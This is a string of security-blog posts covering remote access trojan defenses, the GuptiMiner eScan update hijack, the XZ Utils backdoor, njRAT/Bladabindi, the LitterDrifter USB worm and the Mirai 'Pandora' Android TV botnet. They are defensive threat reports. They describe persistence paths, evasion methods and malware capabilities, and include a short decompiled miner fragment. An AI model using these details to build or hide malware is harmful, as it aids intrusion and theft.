Since RATs typically try to steal passwords and usernames for online accounts, using MFA can minimize the consequences if a person’s credentials are compromised. The main advantage of MFA is that it provides additional layers of security and reduces the likelihood that a consumer’s identity will be compromised. For example, suppose one factor, such as the user’s password, is stolen or compromised. In that case, the other factors provide an additional layer of security.

Strict access control procedures

Attackers can use RATs to compromise administrator credentials and gain access to valuable data on the organization’s network. However, with strict access controls, you can limit the consequences of compromised credentials. More stringent rules include:

  • More strict firewall settings
  • Safelisting IP addresses for authorized users
  • Using more advanced antivirus solutions

Solutions for secure remote access

Every new endpoint connected to your network is a potential RAT compromise opportunity for attackers. Therefore, to minimize the attack surface, it’s important to only allow remote access through secure connections established through VPNs or security gateways. You can also use a clientless solution for remote access. It does not require additional plug-ins or software on end-user devices, as these devices are also targets for attackers.

Zero-trust security technologies

Recently, zero-trust security models have grown in popularity because they adhere to the “never trust, always verify” principle. Consequently, the zero-trust security approach offers precise control over lateral movements instead of full network access. It is critical to suppressing RAT attacks, as attackers use lateral moves to infect other systems and access sensitive data.

Focus on infection vectors

Like other malware, Remote Access Trojan is a threat only if installed and implemented on the target computer. Using secure browsing, anti-phishing solutions, and constantly patching systems can minimize the likelihood of RAT. Overall, these actions are a good tone for improving security for any case, not only against Remote Access Trojans.

Pay attention to abnormal behavior

RATs are Trojans that may present themselves as legitimate applications but contain malicious features associated with the actual application. Tracking the application and system for abnormal behavior can help identify signs that might indicate a Remote Access Trojan.

Monitoring network traffic

An attacker uses RATs to remotely control an infected computer over the network. Consequently, a RAT deployed on a local device communicates with a remote C&C server. Therefore, you should pay attention to unusual network traffic associated with such messages. In addition, it would be best to use tools such as web application firewalls to monitor and block C&C messages.

Implement least privilege

The concept of least privilege implies that applications, users, systems, etc., should be restricted to the permissions and access they need to do their jobs. Therefore, using the least privilege can help limit an attacker’s actions with RAT.

Are Remote Access Trojans illegal?

Well, yes, but actually, no. It all depends on how and what you use it for. It is not the program itself that makes such tasks illegal. It’s the implementation. You can test and execute if you’ve written a Remote Access Trojan and have a home lab. You can use it if you have written permission from the other party. However, if you use the RAT maliciously, you may face some legal problems. So, to distinguish, professionals use the term “remote access tools” for legitimate access and control and “remote access trojan” for illegitimate access and control.

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GuptiMiner Use eScan to Spread Miners and Backdoors https://gridinsoft.com/blogs/guptiminer-escan-miners-backdoors/ https://gridinsoft.com/blogs/guptiminer-escan-miners-backdoors/#respond Thu, 25 Apr 2024 12:58:14 +0000 https://gridinsoft.com/blogs/?p=21657 A recent report by Avast researchers identified an old-timer malware called GuptiMiner. It uses the eScan antivirus update mechanism to stealthily inject backdoors and cryptocurrency mining programs into users’ computer systems and large corporate networks. This is further evidence that cybercriminals are adapting their techniques to bypass modern security measures. Let’s look at the situation.… Continue reading GuptiMiner Use eScan to Spread Miners and Backdoors

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A recent report by Avast researchers identified an old-timer malware called GuptiMiner. It uses the eScan antivirus update mechanism to stealthily inject backdoors and cryptocurrency mining programs into users’ computer systems and large corporate networks. This is further evidence that cybercriminals are adapting their techniques to bypass modern security measures. Let’s look at the situation.

Campaign discovery and GuptiMiner

Avast specialists analyzed the activity of the GuptiMiner malware active since 2018. GuptiMiner is a sophisticated malware that aims at spreading backdoors and performing hidden cryptomining in corporate networks. The malware utilizes a multi-stage infection chain. It starts by hijacking antivirus software updates through man-in-the-middle (MitM) attacks. This allows attackers to substitute legitimate updates for malicious ones.

Avast informed eScan and India CERT of the found vulnerability, which was successfully patched on July 31, 2023. However, since users rarely install more than one antivirus, this limits the ability to detect and analyze the full scope of GuptiMiner’s activities.

GuptiMiner’s infection chain

This malware uses a complex infection chain. The attack starts by intercepting eScan antivirus updates. The update program is downloaded from the server, but in its path is an attacker who substitutes it with a malicious one. Next, eScan decompresses and downloads the package, initiating a chain of infection using a DLL. This DLL allows the virus to control further downloads and code execution.

GuptiMiner is requesting the payload
GuptiMiner is requesting the payload from a real IP address

Next, GuptiMiner uses a sideloading technique to inject malicious code into trusted processes, which allows the program to remain invisible to antivirus systems. The malware also communicates with remote command and control (C2) servers to receive commands and updates. This allows attackers to control infected systems, run additional malicious processes, or conduct cryptocurrency mining.

How does GuptiMiner work?

GuptiMiner analysis revealed that the malware used a variety of sophisticated techniques to install and hide its presence on the system. Key techniques included sideloading DLL, modifying system files, and using forged digital signatures to simulate legitimacy.

Also, one of the characteristic features of GuptiMiner is its ability to modularize infections. This includes performing DNS queries to the attacker’s DNS servers and extracting useful data from innocent-looking images. In addition to its core functionality of installing backdoors, GuptiMiner unexpectedly spreads the XMRig miner used to mine the Monero cryptocurrency.

The process of dynamically assigning mining threads for XMRig:
xmrig_shellcode_copy_ = xmrig_shellcode_copy;
num_cores_ = num_cores;
dword_140020908 = 25;
xmrig_shellcode_copy-›max_cpu_usage = '53';
xmrig_shellcode_copy_->threads = '1';
if (num_cores_ >= 6)
xmrig_shellcode_copy_-›threads = '2';
if ( num_cores_ >= 8 )
xmrig_shellcode_copy_->threads = '3';

The malware has been identified as potentially linked to the Kimsuky, a prominent North Korean hacking group. This indicates possible state sponsorship and a high degree of organization of the attacks. Before, North Korean hackers showed a certain degree of interest in acquiring cryptocurrency. So, this should not be too much of a surprise.

Two Different types of Backdoors

While analyzing the GuptiMiner malware, researchers identified two different types of backdoors. Both types of backdoors were designed to function as part of a large-scale and well-planned campaign. But each was designed to perform specific tasks on infected corporate networks.

  • The first type of backdoor is a modified version of PuTTY Link, which is used to scan SMBs on the local network. This backdoor allows lateral movement (horizontal propagation of malware within the network) to access potentially vulnerable systems running Windows 7 and Windows Server 2008. This facilitates the exploitation of vulnerabilities in legacy operating systems.
  • The second type of backdoor is multifunctional and modular. It accepts commands from the attacker to install additional modules and specializes in finding and stealing locally stored private keys and cryptocurrency wallets. This approach allows attackers to monitor infected systems for long periods of time and activate additional malicious features if necessary.

GuptiMiner Use eScan to Spread Miners and Backdoors

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XZ Utils Backdoor Discovered, Threating Linux Servers https://gridinsoft.com/blogs/xz-utils-backdoor-linux/ https://gridinsoft.com/blogs/xz-utils-backdoor-linux/#respond Tue, 02 Apr 2024 09:32:10 +0000 https://gridinsoft.com/blogs/?p=20950 A backdoor in liblzma library, a part of XZ data compression tool was discovered by Andres Freund. The maintainer of the distribution noticed a half-second delay in the updated version, which eventually led him to the flaw. The latter appears to be the brainchild of one of the new XZ maintainers, who pulled off an… Continue reading XZ Utils Backdoor Discovered, Threating Linux Servers

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A backdoor in liblzma library, a part of XZ data compression tool was discovered by Andres Freund. The maintainer of the distribution noticed a half-second delay in the updated version, which eventually led him to the flaw. The latter appears to be the brainchild of one of the new XZ maintainers, who pulled off an outstandingly sophisticated supply chain attack.

Backdoor in XZ Compromised Numerous Linux Systems

The story around the backdoor in XZ data compression tool is nothing short of marvelous, from both ends, and may probably be screened in future. A guy under the nickname Jia Tan was making his way to the status of project administrator since 2021. Typically for any tech savvy open-source project user, he started offering his fixes for bugs and new functions. Allegedly by creating a huge number of bug reports, the guy forced the manager to seek for an aide, with Jia being the best candidate at that moment.

Jia Tan GitHub
JiaTan’s account on GitHub

This long road was needed to hide a tiny, deeply concealed backdoor (CVE-2024-3094) that is not even available from the public GitHub repository. The catch actually hides within the version that goes to the dependent project, mainly major Linux distributions. Files responsible for the backdoor initiation appear as test ones. This explains why it took so long: to avoid detection, Jia Tan was forced into adding each piece gradually, making it look like a development routine. A proper special operation, one may say.

XZ Utils backdoor

The resulting flaw allowed for the unauthenticated SSH access to any machine. The only condition here is the infected XZ package and SSH usage. This, in turn, endangers thousands of servers that system administrators quite commonly connect through this protocol. Linux is a backbone of cloud servers, and having such a backdoor access effectively means leaking all the data they store.

More of the special operation things surfaced during the ongoing investigation. Shortly after Jia pushed the malicious fixes, numerous XZ update requests popped up in feedback hubs of different Linux distributions. Investigators suppose that either Jia Tan or his associates posted these comments. Some of the distros adhered to them and pulled the infected version, effectively installing the malware into their product.

How Was It Discovered?

The way the backdoor was discovered, on the other hand, sounds more like a miracle. Andres Freund, the developer, noticed that the SSH authentication takes 500ms longer than usual. Also, the operation started taking more CPU power than it used to, which intrigued Anders to search for a new bug. Searches quickly led him to the updated XZ version, and consequently to the backdoor built into it.

Andres Freund released his notification regarding the malicious changes on March 29, 2024. It is still unclear how long these changes were live, but Linux distributions were using them in release versions since early March. Among them are the following distros and versions:

Kali All the versions after March 26
Arch All the versions after 2024.03.01/VM images 20240301.218094 and later
Alpine 5.6 versions before the 5.6.1-r2 update
Debian Only unstable versions, starting from 5.5.1-alpha-01 to 5.6.1
OpenSUSE All Tumbleweed and Micro OS versions released between March 7 and March 28, 2024
Red Hat Fedora Linux Rawhide/Fedora Linux 40

Mitigations and Fixes

Upon discovering the backdoor code, the project maintainers instantly took down the GitHub repository. Though, further research showed that there was no need for this. As I’ve mentioned, malicious code was hidden in test files, mainly used in dependent projects like distributions. This, however, did not make the task any easier.

Together with the developers and maintainers of affected distros, Andres Freund elaborated both the list of affected versions and possible mitigations. Users should downgrade to the versions that do not contain malicious code, or upgrade to ones where it is already gone. At the same time, the investigation keeps going, as this supply chain attack can have more severe effects.

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Backdoor:Win32/Bladabindi!ml Analysis & Removal Guide https://gridinsoft.com/blogs/backdoorwin32-bladabindiml-analysis-removal-guide/ https://gridinsoft.com/blogs/backdoorwin32-bladabindiml-analysis-removal-guide/#respond Tue, 05 Mar 2024 14:37:22 +0000 https://gridinsoft.com/blogs/?p=20114 Backdoor:Win32/Bladabindi!ml is a generic detection name used by Microsoft Defender. It specifically refers to a backdoor malware known as njRAT, capable of hacking into and controlling victims’ computers. In which cases it is a dangerous trojan and in which cases it is a false positive detection, we will understand in this article. What is Backdoor:Win32/Bladabindi!ml?… Continue reading Backdoor:Win32/Bladabindi!ml Analysis & Removal Guide

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Backdoor:Win32/Bladabindi!ml is a generic detection name used by Microsoft Defender. It specifically refers to a backdoor malware known as njRAT, capable of hacking into and controlling victims’ computers. In which cases it is a dangerous trojan and in which cases it is a false positive detection, we will understand in this article.

What is Backdoor:Win32/Bladabindi!ml?

Backdoor:Win32/Bladabindi!ml is the Windows Defender detection for njRAT malware, that is categorized as backdoor. “Bladabindi” is one of many names used by antivirus companies to categorize and identify various malware, including njRAT.

NjRAT is a trojan and can be installed on a computer without the user’s knowledge. It acts as a backdoor, giving attackers remote access and control over the infected system. Once installed, njRAT can perform various activities including collecting sensitive information, recording keystrokes, stealing passwords, intercepting traffic, and even controlling the computer’s webcam and microphone.

njRAT execution chain

Bladabindi!ml can be spread in a variety of ways. This includes email attachments or malicious links, downloads via malicious websites, exploitation of software vulnerabilities, or social engineering. It can also self-propagate by infecting USB drives connected to an infected computer. Cybercriminals can use various methods to trick users into installing njRAT on their computers.

Bladabindi Backdoor Threat Analysis

NjRAT features several versions, detected in different attacks. Nonetheless, they are not much different in terms of their capabilities and effects. Let’s have a look at what dangers a typical Bladabindi sample carries for the system.

Launch and Detection Evasion

Bladabindi employs various techniques to evade detection upon launch. It comes with its own builder, and before attacking, it allows hackers to pre-configure the payload to their needs before it is delivered to the victim’s computer. This includes the name of the executable file, startup key creation in the registry, directory placement within the target system, host IP address, and network port, among others.

setup njRAT builder
njRAT builder and custom settings

Such customization enables njRAT to circumvent many static checks called to avoid antivirus detection. Additionally, the malware utilizes multiple .NET obfuscators, making its code challenging to analyze for both humans and automated systems. These features make njRAT a tough nut to both analyze and detect and obviously stand for its success.

Establishing Persistence

After the initial system checks, the Bladabindi backdoor ensures its persistence within the infected system by creating a startup instance, typically in the “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp” directory. It also manipulates the Windows registry by creating a key with a unique name and a random set of characters and digits under the “HKEY_CURRENT_USER\Software\32” hive. These actions ensure that the malware executes each time the system boots up. They maintain a foothold within the infected machine even after reboots.

Registry of malware
Registry entry created by the malware during installation

Data Collection & Other Functionality

After finalizing the preparations, njRAT a.k.a Bladabindi performs some basic callouts to the command server. Depending on the response, malware can switch to the idle, start collecting user data or pull the additional payload from the remote server. The overall list of actions it can perform is the following:

  • Executing remote shell commands
  • Downloading and uploading files
  • Capturing screenshots
  • Logging keystrokes
  • Camera and microphone access
  • Stealing credentials from web browsers and desktop crypto applications

Is Win32/Bladabindi!ml false positive?

Some programs may have features or behaviors that may be mistakenly considered suspicious by antivirus software. As a result, Windows Defender shows a false positive detection. This may be due to the use of certain APIs, network requests, or data encryption that may be characteristic of malware but are also present in legitimate applications.

It’s also worth noting that antivirus often adds “!ml” to the end of its name – to indicate the use of the AI detection system. Although it is a highly effective method, without the confirmation from other detection systems, it is easy to make it generate false positive detections.

How to Remove Backdoor:Win32/Bladabindi!ml Virus?

The most reliable way to remove Backdoor:Win32/Bladabindi!ml is to use a reliable antivirus program with updated virus databases. I recommend an antivirus like GridinSoft Anti-Malware, it is best to detect and remove even the sophisticated malware like Bladabindi/njRAT.

After removing Win32/Bladabindi!ml, it is recommended to perform additional system scans to make sure that all threats have been successfully removed. And in the future, be vigilant when surfing the Internet and downloading files. Avoid visiting suspicious websites and opening attachments from unreliable sources.

Backdoor:Win32/Bladabindi!ml Analysis & Removal Guide

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LitterDrifter – Russia’s USB Worm Targeting Ukrainian Entities https://gridinsoft.com/blogs/litterdrifter-usb-worm/ https://gridinsoft.com/blogs/litterdrifter-usb-worm/#respond Wed, 22 Nov 2023 14:34:03 +0000 https://gridinsoft.com/blogs/?p=17842 LitterDrifter USB worm, intricately linked to the notorious Gamaredon group and originating from Russia. It has set its sights on Ukrainian entities, adding a concerning layer to the already complex world of state-sponsored cyber espionage. This USB worm, believed to be orchestrated by Russian actors, not only showcases the adaptability and innovation of Gamaredon but… Continue reading LitterDrifter – Russia’s USB Worm Targeting Ukrainian Entities

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LitterDrifter USB worm, intricately linked to the notorious Gamaredon group and originating from Russia. It has set its sights on Ukrainian entities, adding a concerning layer to the already complex world of state-sponsored cyber espionage. This USB worm, believed to be orchestrated by Russian actors, not only showcases the adaptability and innovation of Gamaredon but also raises questions about the potential geopolitical implications of this latest cyber weapon.

Who are Gamaredon?

Gamaredon’s unique profile goes beyond its commitment to espionage goals. The Security Service of Ukraine (SSU) has linked Gamaredon personnel to the Russian Federal Security Service (FSB), adding a geopolitical twist to the group’s activities. The FSB, responsible for counterintelligence, antiterrorism, and military surveillance, sheds light on the strategic and state-sponsored nature of Gamaredon’s operations. Despite the ever-changing landscape of its targets, Gamaredon’s infrastructure exhibits consistent patterns, emphasizing the need for careful scrutiny from cybersecurity experts.

What is LitterDrifter?

One of Gamaredon’s tools – the notorious USB-propagating worm, LitterDrifter. This VBS-written malware showcases Gamaredon’s adaptability and innovation. Despite the old name of malware type, it packs quite a lot of functions much needed in modern cyberattacks.

As a part of the APT’s infrastructure, LitterDrifter introduces a global element to Gamaredon’s operations. Beyond its intended targets in Ukraine, this worm has left potential infections in its wake in countries like the USA, Vietnam, Chile, Poland, Germany, and even Hong Kong. The global reach of LitterDrifter adds to the overall potential of the threat actor in globe-scale cyberattacks.

The key functionality of LitterDrifter worm circulates around being the remote access tool. In other words, it is a backdoor with worm-like self-spreading capabilities. It is a hidden unauthorized access point in a computer system, software, or network that allows accessing the target environment. In cyberattacks, backdoors mostly act as initial access and reconnaissance tools, which then “open the gates” for further malware injection.

USB-propagating worm - LitterDrifter

LitterDrifter doesn’t just spread automatically over USB drives. It introduces a global element to Gamaredon’s operations. Beyond its intended targets in Ukraine, this worm has left potential infections in its wake in countries like the USA, Vietnam, Chile, Poland, Germany, and even Hong Kong. The global reach of LitterDrifter highlights the broader threat it poses to cybersecurity worldwide.

Gamaredon’s Campaign Against Ukraine

Gamaredon Group has exhibited a sustained and targeted cyber espionage campaign against Ukraine and its institutions. It includes military, non-governmental organizations (NGOs), judiciary, law enforcement, and nonprofit entities since at least 2013. The group, suspected to have ties to Russian cyber espionage efforts, has consistently focused on infiltrating Ukrainian entities. It is evident in its choice of Ukrainian language lures and primary targets within the region.

LitterDrifter emerges as yet another tool employed by the group in its multifaceted cyber operations. As revealed through ongoing monitoring and analysis researchers, Gamaredon has utilized LitterDrifter alongside various other techniques and malware to achieve its objectives. This has further strengthened the group’s status as a advanced persistent threat against Ukrainian and allied interests.

Protection against LitterDrifter

As LitterDrifter reveals its global impact, it prompts a call for a unified and fortified global cybersecurity defense. The worm’s ability to transcend borders underscores the importance of international collaboration in addressing and mitigating cyber threats.

Protecting from threats like LitterDrifter requires a combination of proactive cybersecurity practices and vigilance. Here are some recommendations to enhance your protection against such worms:

  • Be cautious when inserting USB drives into your computer, especially if they are from unknown or untrusted sources. Consider using USB drives that have read-only switches to prevent unauthorized writing.
  • Regularly back up your important data and store backups in a secure location. In the event of a ransomware attack, having recent backups can help you restore your system without paying the ransom.
  • Follow security best practices such as using strong, unique passwords, enabling two-factor authentication, and limiting user privileges. These practices can add layers of protection against various cyber threats.
  • Keep yourself informed about the latest cybersecurity threats and vulnerabilities. Being aware of the evolving threat landscape enables you to adapt your security measures accordingly.

LitterDrifter – Russia’s USB Worm Targeting Ukrainian Entities

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Mirai variant “Pandora” infects Android TV for DDoS attacks. https://gridinsoft.com/blogs/mirai-pandora-infects-android-os/ https://gridinsoft.com/blogs/mirai-pandora-infects-android-os/#respond Sat, 09 Sep 2023 12:07:20 +0000 https://gridinsoft.com/blogs/?p=16826 A new variant of the Mirai malware botnet has been detected, infecting low-cost Android TV set-top boxes. They are extensively used for media streaming by millions of people. The present Trojan is a fresh edition of the ‘Pandora’ backdoor initially identified in 2015, per the analytics. The campaign targets low-cost Android TV boxes such as… Continue reading Mirai variant “Pandora” infects Android TV for DDoS attacks.

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A new variant of the Mirai malware botnet has been detected, infecting low-cost Android TV set-top boxes. They are extensively used for media streaming by millions of people. The present Trojan is a fresh edition of the ‘Pandora’ backdoor initially identified in 2015, per the analytics.

The campaign targets low-cost Android TV boxes such as Tanix TX6, MX10 Pro 6K, and H96 MAX X3. These devices have quad-core processors that can launch powerful DDoS attacks, even in small swarm sizes.

Mirai Botnet Aims Android-based TV Boxes

Mirai Botnet can infect devices via malicious firmware updates signed with publicly available test keys or malicious apps. Which undoubtedly distributed on domains that target users interested in pirated content. In the first case, firmware updates are either installed by resellers of the devices or users are tricked into downloading them from websites. Then, they promise unrestricted media streaming or better application compatibility.

The ‘boot.img‘ file contains the kernel and ramdisk components loaded during Android boot-up. It makes it an excellent persistence mechanism for the malicious service.

Mirai service
Malicious service

The second distribution channel involves the use of pirated content apps. They also offer access to collections of copyrighted TV shows and movies for free or at a low cost. Security experts have identified Android apps that spread the new Mirai malware variant to infected devices. Here is an example:

Android apps
Site dropping malware

In this case, the malicious apps surreptitiously start the ‘GoMediaService‘ during the initial launch and set it to auto-start when the device boots up.

When the ‘gomediad.so‘ service is called, it unpacks multiple files, including a command-line interpreter that runs with elevated privileges (‘Tool.AppProcessShell.1‘) and an installer for the Pandora backdoor (‘.tmp.sh‘).

gomediad.so
GoMedia service structure

After being activated, the backdoor establishes communication with the C2 server, and replaces the HOSTS file. After that, it updates itself and then enters standby mode, waiting for instructions from its operators. The malware can launch DDoS attacks using the TCP and UDP protocols, such as generating SYN, ICMP, and DNS flood requests. It can also open a reverse shell, mount system partitions for modification, and perform other functionalities.

IoC Mirai Botnet

What devices are at risk?

Budget-friendly Android TV boxes often have an uncertain journey from manufacturer to consumer. It leaves the end-user unaware of their origins, potential firmware modifications, and the various hands they’ve been through.

Even cautious consumers who retain the original ROM and are selective about app installations face a lingering risk of preloaded malware on their devices. It is advisable to opt for streaming devices from trusted brands like Google Chromecast, Apple TV, NVIDIA Shield, Amazon Fire TV, and Roku Stick.

Safety recommendations

For Android TV users, installing apps only from the official app store is advisable. It is also essential to pay attention to the permissions requested by the app. If your app requests access to your phonebook and geo-location, it is best to avoid using it as it could be malware. Additionally, it is crucial not to download or install any hacked apps, as their contents are often infected with malware of some kind.

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